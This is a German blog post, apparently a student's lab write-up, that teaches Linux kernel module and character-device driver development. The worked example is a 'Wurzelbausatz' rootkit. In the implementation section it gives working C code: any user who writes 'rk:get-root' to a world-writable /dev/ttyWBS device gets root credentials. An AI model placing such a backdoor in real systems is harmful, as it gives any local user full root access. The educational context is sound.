Mit echo zum root-User: Entwicklung des Wurzelbausatz-Rootkits

Ein (etwas längerer) Primer zu Linux-Kernel-Modulen und Gerätetreibern

5250 Wörter
25 Minuten

Entstehung der Idee

Zugegeben, ich hatte eigentlich noch nie Berührungspunkte mit Rootkits und habe auch noch nie darüber nachgedacht eines zu entwickeln. Mir war bis vor ein paar Tagen noch nicht einmal klar, was ein Rootkit konkret ist und wie es sich zum Beispiel von einem “normalen” Tool zur Rechteausweitung unterscheidet. Aber genau deswegen hab ich es dann doch mal versucht, um eben das herauszufinden.

Die Idee kam aus meinem Informatik-Masterstudium, genauer aus einem Labor im Modul Embedded Linux. Naja, eigentlich ist das auch nicht ganz richtig – die Aufgabe war eigentlich nur, einen herkömmlichen Treiber zu entwickeln, um sich mit der Linux-Materie und dem Build-System des Kernels auseinanderzusetzen. Nur ist das erstmal gar nicht so interessant ohne richtigen Use-Case und wer wäre ich, wenn ich dafür nicht irgendeinen Blödsinn wählen würde – ich komme immerhin aus der IT-Sicherheit und muss die Gelegenheit, direkt im Speicherbereich des Kernels zu arbeiten, natürlich schamlos ausnutzen.

Und damit war die Idee des “Wurzelbausatz” geboren (ja, das ist die schlechte deutsche Übersetzung von “Rootkit”). Ich möchte dieses Thema nutzen, um zu dokumentieren, wie ich den Umgang mit Kernel-Modulen gelernt habe und vorgegangen bin. Die ganze Linux-Welt ist super komplex und manchmal “zu legacy” für moderne und leicht aufzufindende Dokumentation, leider. Ich hoffe, ich kann mit diesem Artikel etwas Licht ins Dunkle bringen.

Disclaimer: Wie man an dieser Einleitung unschwer erkennen kann, bin ich gerade erst in der Lernphase in diesem Thema. Es kann also sein, dass ich einige Dinge aufgrund mangelnden Wissens auslasse. Ich werde aber selbstverständlich keine unverifizierten Fakten hier dokumentieren.

Disclaimer 2: Der Blogeintrag ist doch etwas länger geworden als gedacht.

Basics zu Linux Treibern

Linux-Kernel-Module sind quasi Plugins für den Linux-Kernel. Es sollte bekannt sein, dass so ziemlich alle Betriebssysteme sowohl Speicherbereich, als auch Berechtigungsstufen in den sogenannten Kernel-Space und den User-Space aufteilen. Ein Kernel-Modul arbeitet im Kernel-Space und hat damit deutlich höhere Berechtigungen als User-Space-Anwendungen. In manchen Fällen ist das aber auch notwendig, wie zum Beispiel bei der Entwicklung von Gerätetreibern, wofür Kernel-Module unter anderem da sind. Die Systemressourcen stehen hier im Vordergrund.

Treiber lassen sich in drei Hauptgruppen unterteilen:

  • Character-Device-Driver
  • Block-Device-Driver
  • Other (zum Beispiel Netzwerk- oder USB-Treiber)

Character- und Block-Device-Driver sind sich sehr ähnlich. Es handelt sich um Treiber, die grundsätzlich mit I/O umgehen müssen. Sie unterscheiden sich lediglich in ihrer Zuordnungseinheit: Character-Device-Driver handhaben “Characters”, was der historische Name von “Bytes” ist (in C gibt es keinen byte-Datentyp, aber den char, welcher normalerweise ein einzelnes Byte darstellt). Ein Block-Device-Driver spricht hier eher in Sektoren als in Bytes – sie sind also für Block-basierte Geräte (namentlich Festplatten) geeignet. Mit den anderen Treibertypen habe ich mich im Rahmen des Labors nicht auseinandergesetzt.

Übrigens, der Typ eines Treibers ist im /dev Verzeichnis als erstes Dateiattribut sichtbar (c = Character, b = Block):

# List ttys (char devices)
~$ ls -lah /dev/tty?
crw--w---- 1 root tty 4, 0 May 21 10:10 /dev/tty0
crw--w---- 1 root tty 4, 1 May 21 10:10 /dev/tty1
crw--w---- 1 root tty 4, 2 May 21 10:10 /dev/tty2
...

# List hard drives (block devices)
~$ ls -lah /dev/sd?
brw-rw---- 1 root disk 8,  0 May 21 10:10 /dev/sda
brw-rw---- 1 root disk 8, 16 May 21 10:10 /dev/sdb
brw-rw---- 1 root disk 8, 32 May 21 10:10 /dev/sdc
...

Dort, wo normalerweise die Dateigröße steht (zwischen Owner/Gruppe und Änderungsdatum) ist außerdem etwas Neues zu sehen. Bei /dev/tty1 zum Beispiel sieht man 4, 1. Dabei handelt es sich um eine Art Identifier für das Gerät, bestehen aus der Major- und der Minor-Nummer. Die Major-Nummer gibt den Gerätetyp, bzw. den verwendeten Treiber an und die Minor-Nummer gibt die Instanz dieses Treibers an. Für alle ttys wird der gleiche Treiber (Major 4) verwenden und jedes neue Gerät dieses Treibers erhält ein eigenes Inkrement der Minor-Nummer. Das wird später noch wichtig.

Ok, aber nochmal zu den Character-Devices. Mir persönlich war zu dem Zeitpunkt noch immer nicht ganz klar, was die denn konkret sind. Dazu zwei Beispiele: Einer Linux Konsole (egal ob lokal oder über SSH erzeugt) liegt ein sogenanntes Teletypewriter Device (TTY) zugrunde. Erfahrene Linux-Benutzer kennen diesen Begriff sicher. Das TTY-Device bündelt STDIN, STDOUT und STDERR der laufenden Sitzung. Das der aktuellen Sitzung zugeordnete TTY-Device kann mit dem tty-Befehl ausgegeben werden. Untersucht man dieses mit ls, fällt auf, …

~$ ls -lah $(tty)
crw--w---- 1 lsc tty 136, 6 May 21  2024 /dev/pts/6

… dass hier wieder ein c als erstes Dateiattribut gelistet ist! Ein TTY-Device ist also ein Character-Device. Das ergibt natürlich auch Sinn, denn Programme können Characters auf dieses Gerät schreiben, um sie auf der Konsole für den Benutzer sichtbar zu machen. Das können wir übrigens auch von Hand mit echo machen:

~$ echo "Hello World" > $(tty)
Hello World
~$ 

Die Ausgabe ist auf dem Terminal sichtbar. Wer damit mal rumspielen möchte, kann versuchen, zwei SSH-Sitzungen auf dem gleichen Computer zu erzeugen und etwas auf das TTY-Device der jeweils anderen Sitzung zu schreiben. Das wäre damit eine – wenn auch exotische – Form der Inter-Process-Communication.

Ein zweites Beispiel für ein Character-Device-Driver ist ein Treiber für die unter Informatikern am meisten gehasste Hardware: Drucker. Wenn zum Beispiel ein PDF-Reader etwas drucken möchte, schreibt er das Dokument einfach Byteweise an das Device des entsprechenden Druckertreibers und dieser sorgt dafür, dass der Byte-Stream beim Drucker ankommt (einige Drucker haben dabei zwar wenig Erfolg, aber es geht hier ja nur um die Theorie). Manche Drucker(treiber) lassen sogar Plain-Strings zu, sodass ein echo "Hello World" > /dev/some-printer direkt einen Druckjob auslöst.

Ok genug der Theorie. Alles andere finden wir heraus, wenn es notwendig wird.

Code Skeleton

Let’s start coding!

Jeder Treiber braucht erstmal nur zwei Funktionen – eine Init- und Exit-Funktion – welche jeweils beim Laden und Entladen des Kernel-Moduls aufgerufen werden. Mit C-Makros kann man außerdem die Metadaten des Moduls definieren:

#include <linux/module.h>  /* Needed by all kernel modules */
#include <linux/kernel.h>  /* Needed for loglevels (KERN_WARNING, KERN_EMERG, KERN_INFO, etc.) */
#include <linux/init.h>    /* Needed for __init and __exit macros. */

// module metadata
MODULE_AUTHOR("Leon Schmidt");
MODULE_DESCRIPTION("Kernel module to root yourself");
MODULE_VERSION("0.1");
MODULE_LICENSE("GPL v2");

static int __init kmod_init(void)
{
  printk(KERN_INFO "Module loaded\n");
  ...
}

static void __exit kmod_exit(void)
{
  printk(KERN_INFO "Module unloaded\n");
  ...
}

// register init and exit function
module_init(kmod_init);
module_exit(kmod_exit);

Das ist auch schon alles, was wir erstmal brauchen. Die Funktionen müssen die dargestellte Signatur, sowie das __init, bzw. __exit Attribut haben. Der Name ist auch egal. Zur Konvention beginnen bei mir alle Funktionen, die irgendwie vom Kernel benutzt werden, mit kmod_. Ansonsten ist man ziemlich frei in der Implementierung.

Übrigens: Die printk Funktion ist – Überraschung – zur Ausgabe von Text da. Vielleicht kommt die Frage auf, warum man nicht einfach printf verwendet, wie in anderen C-Programmen auch? Naja die Antwort ist eigentlich ziemlich einfach, aber gleichzeitig irgendwie, naja, “unzufriedenstellend”. Denn Linux-Kernel-Module haben keine C-Standard-Library. Diese ist im User-Space implementiert und deswegen schlichtweg nicht verfügbar. Das macht die Implementierung vieler Dinge erstmal komplizierter, allerdings sind ein paar Funktionen wie strcpy oder strcmp im Kernel “nachimplementiert” worden, die man stattdessen nutzen kann. Man muss sich aber im Klaren darüber sein, dass das eben andere Libraries sind, die unter Umständen anders funktionieren.

Unser Modul kann jetzt noch nicht wirklich viel, aber es ist ein valides, ladbares Kernel-Modul. Wenn wir jetzt daraus noch einen Character-Device-Driver machen wollen, müssen wir die Syscalls OPEN, READ und WRITE implementieren. Warum? Wir wissen ja, dass der TTY Treiber auch ein Character-Device ist. Wenn wir mit echo und > dort Text reinschreiben, führen wir unter der Haube eigentlich einen WRITE-Syscall aus. Beim cat-en der TTY ist das ein READ-Syscall (teilweise sogar mehrere, sehen wir uns später nochmal genauer an). Diese Syscalls müssen wir zwingend Implementieren, um einen Character-Device-Driver aus dem Modul zu machen. Optional können wir noch weitere sogenannte “File-Operations” implementieren, das brauchen wir aber gerade nicht. Die Syscalls werden jeweils in einer file_operations-Structure definiert:

static struct file_operations fops = 
{
  .open = kmod_open,
  .read = kmod_read,
  .write = kmod_write,
};

static int kmod_open(struct inode *inode, struct file *f);
static ssize_t kmod_read(struct file *f, char __user *buf, size_t len, loff_t *off);
static ssize_t kmod_write(struct file *f, const char __user *buf, size_t len, loff_t *off);

Die Implementierungen habe ich mal absichtlich weggelassen, weil das (vor allem in den Read- und Write-Funktionen) etwas komplizierter ist. Wir schauen da später nochmal drauf.

In der Init-Funktion (hier: kmod_init) kann die file_operations-Structure dann der Funktion register_chrdev übergeben werden, um eine Major-Nummer vom Kernel zu erhalten. Grundsätzlich kann man sich hier auch eine bestimmte “wünschen”, wir nehmen hier aber gerne die, die uns der Kernel aussucht. Dafür können wir den ersten Parameter einfach auf 0 setzen.

Außerdem wollen wir noch einen Eintrag in /dev für unser Device – das passiert leider auch nicht automatisch. Dafür müssen wir erst eine Geräteklasse und dann das Device selbst erstellen. Die Klasse können wir zunächst nennen wie wir wollen. Ich nenne sie hier ttyRK für “TTY-Rootkit”. Später werden wir die Geräteklasse noch nutzen müssen – bis hier ist sie aber nur eine Notwendigkeit, um ein Device zu erstellen.

Die Init- und Exit-Funktion (für den Cleanup) sehen dann so aus:

#define DEVICE_NAME "ttyWBS"
#define DEVICE_CLASS "ttyRK"

static int majorNumber;
static struct class *wbsClass = NULL;
static struct device *wbsDevice = NULL;

static int __init kmod_init(void)
{
  printk(KERN_INFO "Registering char device\n");
  if ((majorNumber = register_chrdev(0, DEVICE_NAME, &fops)) < 0)
  {
    printk(KERN_ERR "Failed to register major number, errcode: %d\n", majorNumber);
    return EXIT_ERROR;
  }
  wbsClass = class_create(THIS_MODULE, DEVICE_CLASS);
  wbsDevice = device_create(wbsClass, NULL /*parent*/, MKDEV(majorNumber, 0) /*dev_t*/, NULL /*drvdata*/, DEVICE_NAME);
  ...
}

static void __exit kmod_exit(void)
{
  // don't forget to unregister the device
  printk(KERN_INFO "Unregistering char device\n");
  device_destroy(wbsClass, MKDEV(majorNumber, 0));
  class_unregister(wbsClass);
  class_destroy(wbsClass);
  unregister_chrdev(majorNumber, DEVICE_NAME);
}

So. Damit wäre der Boilerplate-Code fertig. Jetzt müssen wir das ganze noch kompilieren, um ein sogenanntes Kernel-Object (.ko) zu erhalten, welches wir dann in den Kernel laden können.

Festhalten, das ist gar nicht mal so unkompliziert.

Das Modul bauen – eine Kunst für sich

Ich könnte hier jetzt einfach die Schritte, die ich ausgeführt habe, als Stichpunkte auflisten und gut ist. Aber das wäre ja am Sinn meiner Laboraufgabe (für die ich das alles hier ja mache) vorbei. Mein Ziel ist es ja, mich mit dem Linux Build-System vertraut zu machen. Dieses Wissen möchte ich hier auch so gut es geht transportieren und dokumentieren.

Bevor wir irgendwas machen, brauchen wir die Kernel-Sources in der richtigen Version, denn das Kernel-Modul, was wir damit bauen wollen, ist am Ende nur mit Linux-Kerneln kompatibel, die die gleiche Version wie der Source-Tree haben. Die Version des Zielsystems, in das wir das Modul laden wollen, kann mit uname -r, und die des Source-Trees mit make kernelversion (zum Make-System gleich mehr) bezogen werden. Diese Versionen müssen aufeinander passen!

Manche Paketmanager halten den Source-Tree im laufenden System vor oder lassen ihn nachinstallieren. Mit APT geht das mit apt-get source linux. Alternativ kann man die Sources für eine bestimmte Version (hier für 6.1.18) direkt von kernel.org herunterladen: https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.1.18.tar.gz.

Das Linux-Build-System ist Make-basiert. Alles, was für den Linux-Kernel gebaut wird (inklusive der Kernel selbst), muss durch dieses System gehen. Die Konfiguration eines Builds wird mit dem sogenannten Kconfig-System realisiert, um Make alles zu geben, was es braucht. Die Konfigurationswerte landen in einer einzelnen File: .config. Da diese unter Umständen ziemlich riesig werden kann und es auch fast unmöglich ist, alles davon zu verstehen, gibt es Make-Targets, die bei der Erstellung helfen. Am bekanntesten dürfte wohl make menuconfig sein. Sie erzeugt eine GUI im Terminal, mit deren Hilfe man sich durch alle Konfigurationsparameter “durchklicken” kann. Neben make menuconfig gibt es noch andere Konfigurationshilfen, aber ich habe bisher nur damit gearbeitet und war ziemlich zufrieden damit.

Außerdem gibt es noch Konfigurationsvorlagen – die sogenannten “Defconfigs”. Sie definieren Basiswerte für bestimmte Plattformen (von Architekturen wie arm64 bis hin zu spezifischen Einplatinencomputern) und liegen bereits in den Kernel-Sources ab. Diese sollte man vor make menuconfig nach .config kopieren und dann mit ersterem anpassen, falls gewünscht. Die verfügbaren Defconfigs kann man mit ls arch/arm/configs auflisten (hier für die arm-Architektur). Mit make <defconfig-name> kann sie aktiviert werden. Die Zielarchitektur muss ebenfalls als Umgebungsvariable mitgegeben werden, damit Make die richtige Defconfig findet. Für mein verwendetes Board wäre der gesamte Befehl ARCH=arm make emsbc-argon_defconfig. Für make menuconfig muss ebenfalls die Zielarchitektur, sowie ein Cross-Compiler-Präfix CROSS_COMPILE=, falls notwendig, angegeben werden. Mit einem finalen make (auch wieder mit den Umgebungsvariablen) können die Sourcen dann gebaut werden.

Zusammengefasst habe ich die folgenden Schritte unternommen:

# set defconfig
~$ ARCH=arm make emsbc-argon_defconfig
# make configuration with menuconfig
~$ ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- make menucefconfig
# run
~$ ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- make
Übrigens: In einem laufenden Linux kann die Build-Konfiguration auch ausgelesen werden, um den Build zu reproduzieren. Die Konfiguration liegt GZIP-komprimiert in /proc/config.gz und kann mit zcat /proc/config.gz direkt ausgegeben werden! Super praktisch.

make baut übrigens den gesamten Linux-Kernel, der jetzt irgendwo in eurem File-Tree liegt. Das ist für uns aber nicht weiter schlimm, weil die Builds gecached werden. Weitere Aufrufe von make bauen nur die Änderungen neu. Wir brauchen ohnehin einige Dateien aus dem Build-Prozess für unser Kernel-Modul. Theoretisch könnte man den Build mit dem spezielleren Build-Target make modules einschränken, aber, naja, das wusste ich vorher nicht, deswegen machen wir das jetzt nicht so.

Also, bisher haben wir nur Vorarbeit geleistet. Jetzt können wir das Kernel-Modul in den Tree einbauen. Module liegen in der Regel in drivers/<type>/<name>. Da wir keinen <type> haben, können wir das ganze einfach unter staging anlegen, was einen Gesamtpfad von drivers/staging/wurzelbausatz ergibt. Um das ganze Modul ins Build-System zu integrieren, brauchen wir aber noch etwas Boilerplate-Code: Eine Kconfig, eine weitere Makefile und eine Anpassung an einer existierenden Makefile, denn das Build-System im Linux-Kernel ist rekursiv! Jedes Feature hat seine eigene Makefile, die alle vom “Haupt-Makefile” miteinander vereint werden.

Zuerst müssen wir drivers/staging/Makefile anpassen, damit der neu erstellte Order drivers/staging/wurzelbausatz erkannt wird. Wir fügen das hier hinten dran:

obj-$(CONFIG_WURZELBAUSATZ)	+= wurzelbausatz/

Außerdem braucht unser Modul eine eigene Makefile mit folgendem Inhalt:

obj-$(CONFIG_WURZELBAUSATZ) += wurzelbausatz.o

Aber was bedeutet das jetzt? Erstmal zur Variable CONFIG_WURZELBAUSATZ: Diese wird durch make menuconfig populiert (machen wir sofort selbst) und hat entweder die Werte M oder y. M steht für “Baue das als externes, ladbares Kernel-Modul (als .ko file)” und y steht für "yes, baue mir das bitte direkt mit in den Kernel ein". Ja, man kann Kernel-Module direkt in den Kernel einbauen. Das bedeutet aber auch, dass dann nur dieser Kernel-Build dieses Modul beinhaltet und auch nutzen kann. Wir wollen also M. In unserer Makefile ergibt das dann obj-M, was das Build-Target für Kernel-Module ist. Diesem fügen wir unsere .o Object-File hinzu. Sie wird in einem vorherigen Build-Step aus unserer .c File gebaut, die Dateinamen müssen also übereinstimmen (wurzelbausatz.cwurzelbausatz.o).

Mit der Kconfig wird definiert, wie das Modul in der Menuconfig auftaucht. Sie wird in einer eigenen Syntax verfasst, durch die ich auch noch nicht ganz durchgestiegen bin. So sieht sie auf jeden Fall für den Wurzelbausatz aus. Wichtig ist hier, dass die Zeile unter ---help--- genau zwei Leerzeichen weiter eingerückt sein muss.

# SPDX-License-Identifier: GPL-2.0
menuconfig WURZELBAUSATZ
	tristate "Wurzelbausatz"
	---help---
	  Kernel-Modul um sich selbst zu wurzeln.

Wenn das alles erledigt ist, können wir den Build unseres Moduls in Menuconfig aktivieren (ihr wisst noch, um CONFIG_WURZELBAUSATZ=M zu setzen und so). Für unser Modul befindet sich die Option in make menuconfig in “Device drivers > Staging drivers > Wurzelbausatz” und kann mit der Leertaste auf M getoggelt werden. Speichern nicht vergessen. Mit cat .config | grep CONFIG_WURZELBAUSATZ können wir verifizieren, dass die Variable auch gesetzt wurde.

Jetzt müssen wir eigentlich nur noch unseren Code neben die Kconfig und Makefile ablegen und noch einmal ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- make aufrufen und dann…

~$ ls -lah drivers/staging/wurzelbausatz/*.ko
-rw-rw-r-- 1 student student 12K Mai 28 21:22 wurzelbausatz.ko

…haben wir unser Kernel-Modul! Dieses können wir jetzt in unser laufendes System bringen und mit insmod ./wurzelbausatz.ko laden. Eventuell ist dafür eher der Befehl modprobe zum Laden von Kernel-Modulen geläufig: Der Unterschied zwischen insmod und modprobe ist, dass letzterer auch so fancy Dinge macht, wie Dependency-Checking. Damit das funktioniert, müssen wir die modules.builtin, modules.order und wurzelbausatz.ko nach /lib/modules/$(uname -r)/ auf dem Zielsystem (!) verschieben, und dann mit dem Command depmod die Dependency-Indices bauen. Dann können wir das Modul auch mit modprobe wurzelbausatz laden. Ist aber völlig optional und bietet in diesem Fall überhaupt keine Vorteile. Das Make-Target make modules_install, welches wir uns später aber auch nochmal genauer anschauen, übernimmt die korrekte Installation übrigens automatisch für uns.

Da unser Boilerplate-Code bereits die Erstellung des Character-Devices ttyWBS implementiert, können wir auch fix verifizieren, ob dieses richtig angelegt wurde:

~$ ls -lah /dev/ttyWBS
crw------- 1 root root 244, 0 Jun 16 21:39 /dev/ttyWBS

Hier sehen wir übrigens auch, dass unser Device die Major-Nummer 244 erhalten hat.

Die folgenden Commands sind weiterhin noch wichtig, um mit dem Modul zu interagieren (vor allem der letzte):

CommandBeschreibung
insmod <path-to-ko>, modprobe <module-name>Zum Laden eines Moduls
rmmod <module-name>, modprobe -r <module-name>Zum Entladen eines Moduls
lsmodAktuell geladene Module auflisten
modinfo <path-to-ko>Zeigt Infos zu einem Kernel-Modul
dmesgKernel Log Buffer auslesen (da kommen die printk-Aufrufe an)

Im Rahmen meines Embedded-Labors habe ich außerdem noch am Device-Tree rumgeschraubt und FIT-Images für den U-Boot Bootloader gebaut, wo ich auch einiges über das Linux Build-System gelernt habe, was ich hier dokumentiert habe. Auf die Device-Tree Sachen will ich aber hier nicht weiter eingehen.

Builden außerhalb des Kernel-Source-Trees

Es gibt noch eine andere Möglichkeit, Kernel-Module zu builden. Der ein oder andere hat sich vielleicht beim Lesen gedacht “Das ist ja total unpraktisch, dass das Modul in den Kernel-Sources liegen muss” oder “Wie versioniere ich das jetzt richtig, wenn das im Kernel-Source-Tree liegt?”. Kleiner Exkurs: Es gibt eine andere Möglichkeit!

Gerade dann, wenn das Kernel-Modul explizit dafür gedacht ist, als Modul installiert zu werden, und eben nicht um Teil des Kernels zu sein, sollte man umdenken: Es macht wirklich keinen Sinn das Modul in <kernel>/drivers/staging/* zu “maintainen”. Wenn man das richtig machen würde, würde das bedeuten, dass man einen Fork vom Linux-Kernel maintainen müsste (und darauf hat doch wirklich keiner Lust). make hat eine sehr sinnvolle Flag, mit der man den Build-Kontext “verschieben” kann: -C <path>. Damit kann man die Makefile(-Hierarchie) aus einem anderen Verzeichnis – z.B. die des Linux-Kernels – verwenden. Das Problem ist aber, dass die Implementierung dieser -C Flag ziemlich stumpf ist: Im Prinzip macht make zu Beginn nur ein cd in dieses Verzeichnis. Das heißt, man verliert durch den Verzeichniswechsel den Kontext auf das aktuelle Verzeichnis, also den Source-Tree des Moduls. Um dem entgegen zu wirken implementiert das Build-System des Linux-Kernels einen Make-Parameter M, welcher auf das Verzeichnis des Moduls (hence the “M”) zeigen soll (kein Make-Feature per se). Wenn man sich im Pfad seines Modul befindet, setzt man diesen also üblicherweise auf $(pwd). Die Makefiles des Kernels sind so flexibel geschrieben, dass sie eben auch außerhalb des eigenen Source-Trees Zeug builden können.

Praktischerweise bieten viele Packetmanager die Möglichkeit, den Kernel-Source-Tree direkt an eine bekannte Stelle zu installieren, z.B. /lib/modules/$(uname -r)/build. Falls man diese Möglichkeit nicht hat, kann man auch einfach den passenden Kernel-Commit git cloneen und den -C Parameter dort hin zeigen lassen.

Nehmen wir also mal an, wir haben unseren Kernel-Modul Source Code (also Kbuild, Makefile und wurzelbausatz.c) in einem Ordner außerhalb des Kernels, wo wir ihn auch anständig versionieren können, dann lautet ein Make-Befehl so:

~$ make -C /lib/modules/$(uname -r)/build M=$(pwd) modules

Was noch viel praktischer ist: Wir können die Targets des Kernels mitverwenden. Dazu gehören eben das modules Target, aber auch das clean Target, welches unseren eigenen Source-Tree aufräumt. Außerdem können wir uns das Leben noch einfacher machen, indem wir diesen Befehl einfach nochmal in eine eigene Makefile packen. Die ursprüngliche Makefile brauchen wir ja nicht mehr, also können wir jetzt das Folgende dort reinschreiben:

obj-m += wurzelbausatz.o

KERNEL_DIR ?= /lib/modules/`uname -r`/build
all:
	make -C $(KERNEL_DIR) M=$(PWD) modules
install:
	make -C $(KERNEL_DIR) M=$(PWD) modules_install
clean:
	make -C $(KERNEL_DIR) M=$(PWD) clean

Damit müssen wir nichts weiter machen als make, um das Modul zu bauen! An das modules_install Target können wir außerdem noch die Variable INSTALL_MOD_PATH weiterreichen, um das Modul direkt in ein Root-Filesystem zu installieren (z.B. in ein NFS-Root) – inklusive Dependency Setup, damit man modprobe verwenden kann. Genauso können wir z.B. an unser make die Flags für einen Cross-Compiler und die Target-Architektur mitgeben. Nice!

So jetzt da wir wissen, wie wir das Modul bauen können, können wir auch langsam mal spicy werden und den tatsächlichen Rootkit-Code implementieren.

Implementierung der Rootkit-Funktionen

Ok jetzt gehts aber ans Eingemachte. Bis hier ging es eigentlich noch gar nicht um Rootkits, sondern nur um Kernel-Module per se. Aber wir wollen ja lustige Sachen mit dem Modul machen. Also was ist der Plan?

Wie bereits erwähnt, ist es nicht vorgesehen gewesen, das zu entwickelnde Kernel-Modul zu einem Rootkit zu machen. Deswegen habe ich mich von diesem Forumseintrag inspirieren lassen: Darin wird erklärt, was Linux Crededentials sind: Sie definieren die Identität eines Prozesses und damit dessen Rechte. Es wird beschrieben, wie man ein Kernel-Modul dazu verwenden kann, seine eigenen Credentials umzuschreiben, damit sie den Credentials des Root-Users gleichen. Damit wäre man effektiv Root. Hier ist beschrieben, was es mit diesen Credentials auf sich hat und wie man sie für den aktuellen User anpasst. Das Prinzip ist relativ einfach: Man inkludiert <linux/cred.h>, erstellt sich einen Satz neuen Credentials mit preprare_creds(), passt dann die Werte des Credentials-Structs an (uid, gid, euid, egid, suid, sgid, fsuid und fsgid) und wendet diese neuen Credentials mit commit_creds() auf den aktuellen Prozess an:

struct cred *new_cred;

if ((new_cred = prepare_creds()) == NULL)
{
  printk(KERN_ERR "Couldn't prepare credentials\n");
  return EXIT_ERROR;
}
new_cred->uid = make_kuid(current_user_ns(), 0);
new_cred->gid = make_kgid(current_user_ns(), 0);
new_cred->euid = make_kuid(current_user_ns(), 0);
new_cred->egid = make_kgid(current_user_ns(), 0);
new_cred->suid = make_kuid(current_user_ns(), 0);
new_cred->sgid = make_kgid(current_user_ns(), 0);
new_cred->fsuid = make_kuid(current_user_ns(), 0);
new_cred->fsgid = make_kgid(current_user_ns(), 0);
commit_creds(new_cred);

Wir setzen alle Werte auf 0, was den Rechten des Rot-Users entspricht. Nach dem Aufruf von commit_creds, hat unser Shell-Prozess Root-Rechte, egal welche Rechte wir vorher hatten. Jetzt müssen wir diesen Code nur noch irgendwie aufrufen. Dafür können wir ganz einfach die File-Operation WRITE verwenden, die wir bisher noch nicht implementiert haben. Zur Erinnerung, die Signatur dieser Funktion sieht so aus:

static ssize_t kmod_write(struct file *f, const char __user *buf, size_t len, loff_t *off);

Diese Funktion können wir z.B. triggern, indem wir an unser Character-Device mit echo einen String, z.B. echo "rk:get-root" > /dev/ttyWBS, schreiben.

*f ist die Referenz auf die “Datei” (also das Character-Device, weil alles in Linux ist eine Datei), in die gerade geschrieben wird. Das ist dann sinnvoll zu wissen, wenn wir die gleiche Funktion z.B. für mehrere Character-Devices verwenden wollen. Das tun wir hier aber nicht, da wir nur die Write-Funktion für unser Character-Device verwenden – den file Parameter können wir also ignorieren. *buf ist der Buffer, der den zu schreibenden Inhalt beinhaltet und len ist dessen Länge. Der Offset *off wird dann benutzt, wenn Write-Operationen in Teilen durchgeführt werden (also über mehrere WRITE-Syscalls), was vor allem für größere Payloads der Fall ist. Das brauchen wir aber auch nicht, da wir unseren “Trigger-String” mit echo schreiben, der das nicht in Stücken macht. Was aber noch auffällt, ist der __user-Specifier: Dieser gibt an, dass der Pointer *buf in den Speicherbereich des User-Memory-Spaces zeigt. Wenn wir damit im Kernel-Memory-Space arbeiten wollen, müssen wir ihn erst mit der Funktion copy_from_user zu uns kopieren. Auch andersherum müssen wir copy_to_user einsetzten, da wir dem User sonst erlauben würden, direkt in den Kernel-Memory-Space zu schreiben, was wir auf jeden Fall vermeiden müssen.

Zunächst müssen wir also Platz im Kernel-Memory-Space machen, und dann den Buffer dort hin kopieren:

char *data;
data = (char*)kmalloc(len, GFP_KERNEL); // kmalloc = malloc im Kernel
if (data)
{
  unsigned long not_copied;
  if ((not_copied = copy_from_user(data, buf, len)) != 0)
  {
    printk(KERN_ERR "Not all bytes have been copied from user\n");
    kfree(data);
    return len;
  }
  ...

Der Wert, welcher von copy_from_user zurückgegeben wird, gibt die übrigen Bytes an, welche in einem nächsten Read-Call mithilfe des Offset-Parameters ausgelesen werden können. Wie aber schon erwähnt, brauchen wir das hier nicht, deswegen behandeln wir das als Fehler.

Wir wollen jetzt eigentlich ein strcmp machen, um rauszufinden, ob der geschriebene String unser Trigger-String ist. Dabei muss man aber eine Sache beachten: Dinge, die an ein Device geschrieben werden, sind nicht immer zwingend ein String. Ein echo ohne Parameter appended z.B. nur einen \n Line-Break an die Daten, aber keinen C-String Terminator (\0). Diesen müssen wir selbst anhängen, damit strcmp funktioniert. Falls der String matcht, können wir den oben genannten Code für die Credentials-Manipulation einsetzen. Außerdem müssen wir einen positiven Wert zurückgeben, um Erfolg zu signalisieren. Dafür nehmen wir einfach die Länge der verarbeiteten Bytes – also len.

Die gesamte Implementierung der Write-Funktion sieht dann so aus:

static ssize_t kmod_write(struct file *f, const char __user *buf, size_t len, loff_t *off)
{
  char *data;
  data = (char*)kmalloc(len, GFP_KERNEL);
  if (data)
  {
    unsigned long not_copied;
    if ((not_copied = copy_from_user(data, buf, len)) != 0)
    {
      printk(KERN_ERR "Not all bytes have been copied from user\n");
      kfree(data);
      return len;
    }
    strreplace(data, '\n', '\0');
    printk(KERN_INFO "Read '%s'\n", data);
	
	if (strcmp(data, "rk:get-root") == 0)
	{
	  struct cred *new_cred;

	  printk(KERN_INFO "Elevating you to root\n");
	  if ((new_cred = prepare_creds()) == NULL)
	  {
		printk(KERN_ERR "Couldn't prepare credentials\n");
		kfree(data);
		return EXIT_ERROR;
	  }
	  new_cred->uid = make_kuid(current_user_ns(), 0);
	  new_cred->gid = make_kgid(current_user_ns(), 0);
	  new_cred->euid = make_kuid(current_user_ns(), 0);
	  new_cred->egid = make_kgid(current_user_ns(), 0);
	  new_cred->suid = make_kuid(current_user_ns(), 0);
	  new_cred->sgid = make_kgid(current_user_ns(), 0);
	  new_cred->fsuid = make_kuid(current_user_ns(), 0);
	  new_cred->fsgid = make_kgid(current_user_ns(), 0);
	  commit_creds(new_cred);
	}
	else
	{
	  printk(KERN_WARNING "Unknown data '%s', doing nothing\n", data);
	}
	kfree(data);
  }
  else
  {
    printk(KERN_ERR "Unable to allocate memory");
  }
  return len;
}

Das ist es eigentlich auch schon. Wenn wir das Modul jetzt bauen, laden und versuchen mit einem unprivilegierten Benutzer den Trigger-String zu schreiben…

~$ echo "rk:get-root" > /dev/ttyWBS
-bash: /dev/ttyWBS: Permission denied

…dann haben wir keine Permission dazu. Logischerweise – unprivilegierte User sollten nicht direkt in Devices schreiben dürfen. Das können wir aber umgehen: In der kmod_init-Funktion legen wir ja die Device-Class ttyRK in der Variable wbsClass an. Diese bestimmt die Eigenschaften aller Devices unter ihr. Über wbsClass->devnode kann eine Funktion definiert werden, die z.B. den Mode (Berechtigungen) jedes Child-Devices überschreibt (oder eben andere Dinge tut, die für uns nicht relevant sind). Wir wollen hier den Mode 0666, also read/write für alle. Wir definieren also die Funktion tty_devnode, und weisen sie der devnode von wbsClass direkt nach dessen Erstellung zu:

static char *tty_devnode(struct device *dev, umode_t *mode)
{
  if (!mode) return NULL;
  *mode = 0666;
  return NULL;
}

...

static int __init kmod_init(void) {
  ...
  wbsClass = class_create(THIS_MODULE, DEVICE_CLASS);
  wbsClass->devnode = tty_devnode; // <-- here!
